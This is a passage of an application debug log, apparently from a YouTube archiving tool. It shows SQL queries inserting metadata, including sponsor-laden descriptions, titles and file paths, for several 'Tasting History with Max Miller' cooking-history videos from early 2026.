https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "85dae955-ab67-48cf-a800-1cb396f14499", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", false, false, 5, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].NA", false, false, 3, [], 98, ~U[2026-02-24 00:00:00Z], ~U[2026-03-30 06:51:39Z], ~U[2026-03-30 06:51:39Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast...\nSpotify: https://open.spotify.com/episode/1JlC...\nYouTube: \u00A0\u00A0\u00A0•\u00A0Bonus!\u00A0--\u00A0A\u00A0Taste\u00A0of\u00A0History:\u00A0An\u00A0Interview...\u00A0\u00A0\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", nil, false, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].NA", false, 3, ~U[2026-02-24 00:00:00Z]] 02:51:39.855 [debug] QUERY OK source="sources" db=0.3ms idle=24.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:39.857 [debug] QUERY OK source="media_items" db=1.2ms idle=23.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 00:00:00Z], 3] 02:51:39.859 [debug] QUERY OK source="media_items" db=1.3ms idle=24.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: \u00A0\u00A0\u00A0•\u00A0Online\u00A0Talk:\u00A0A\u00A0Scottish\u00A0provenance\u00A0for\u00A0the...\u00A0\u00A0\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethw..., CC BY 2.0, https://commons.wikimedia.org/w/index...\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index...\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/201301191..., CC BY 3.0, https://commons.wikimedia.org/w/index...\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index...\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "b4f36225-8a36-47e9-91b4-427d31b343d2", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", false, false, 6, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].NA", false, false, 3, [], 98, ~U[2026-02-17 00:00:00Z], ~U[2026-03-30 06:51:39Z], ~U[2026-03-30 06:51:39Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: \u00A0\u00A0\u00A0•\u00A0Online\u00A0Talk:\u00A0A\u00A0Scottish\u00A0provenance\u00A0for\u00A0the...\u00A0\u00A0\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethw..., CC BY 2.0, https://commons.wikimedia.org/w/index...\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index...\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/201301191..., CC BY 3.0, https://commons.wikimedia.org/w/index...\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index...\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", nil, false, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].NA", false, 3, ~U[2026-02-17 00:00:00Z]] 02:51:39.859 [debug] QUERY OK source="sources" db=0.2ms idle=25.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:39.860 [debug] QUERY OK source="media_items" db=1.1ms idle=4.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-10 00:00:00Z], 3] 02:51:40.419 [debug] QUERY OK source="media_items" db=557.7ms idle=5.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index...\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "f24d1c2e-2258-4195-88ee-32f9a4cf4a32", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", false, false, 7, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].NA", false, false, 3, [], 98, ~U[2026-02-10 00:00:00Z], ~U[2026-03-30 06:51:39Z], ~U[2026-03-30 06:51:39Z], "Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index...\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", nil, false, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].NA", false, 3, ~U[2026-02-10 00:00:00Z]] 02:51:40.419 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=562.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.421 [debug] QUERY OK source="media_items" db=1.4ms idle=561.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-03 00:00:00Z], 3] 02:51:40.687 [debug] QUERY OK source="media_items" db=265.0ms idle=562.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastingh...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "ea29bb3e-ddf8-4ba7-b26b-1d94219f966f", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", false, false, 8, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].NA", false, false, 3, [], 98, ~U[2026-02-03 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastingh...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", nil, false, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].NA", false, 3, ~U[2026-02-03 00:00:00Z]] 02:51:40.687 [debug] QUERY OK source="sources" db=0.3ms idle=826.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.689 [debug] QUERY OK source="media_items" db=1.2ms idle=269.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 00:00:00Z], 3] 02:51:40.690 [debug] QUERY OK source="media_items" db=0.8ms idle=269.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "131d22b9-f3a8-456e-8a3f-9460a1817ffc", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", false, false, 9, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].NA", false, false, 3, [], 98, ~U[2026-01-27 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", nil, false, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].NA", false, 3, ~U[2026-01-27 00:00:00Z]] 02:51:40.690 [debug] QUERY OK source="sources" db=0.2ms idle=269.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.692 [debug] QUERY OK source="media_items" db=1.1ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 00:00:00Z], 3] 02:51:40.693 [debug] QUERY OK source="media_items" db=0.9ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - \u00A0\u00A0\u00A0•\u00A0The\u00A0London\u00A0Gin\u00A0Craze\u00A0and\u00A0Beyond\u00A0\u00A0\nVideo on Gruel - \u00A0\u00A0\u00A0•\u00A0What\u00A0is\u00A0Gruel?\u00A0\u00A0\nVideo on Lobscouse - \u00A0\u00A0\u00A0•\u00A0Lobscouse,\u00A0Hardtack\u00A0&\u00A0Navy\u00A0Sea\u00A0Cooks\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "f96a4d0b-c514-4903-8c3b-e3836e98092d", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", false, false, 10, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].NA", false, false, 3, [], 98, ~U[2026-01-20 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - \u00A0\u00A0\u00A0•\u00A0The\u00A0London\u00A0Gin\u00A0Craze\u00A0and\u00A0Beyond\u00A0\u00A0\nVideo on Gruel - \u00A0\u00A0\u00A0•\u00A0What\u00A0is\u00A0Gruel?\u00A0\u00A0\nVideo on Lobscouse - \u00A0\u00A0\u00A0•\u00A0Lobscouse,\u00A0Hardtack\u00A0&\u00A0Navy\u00A0Sea\u00A0Cooks\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► 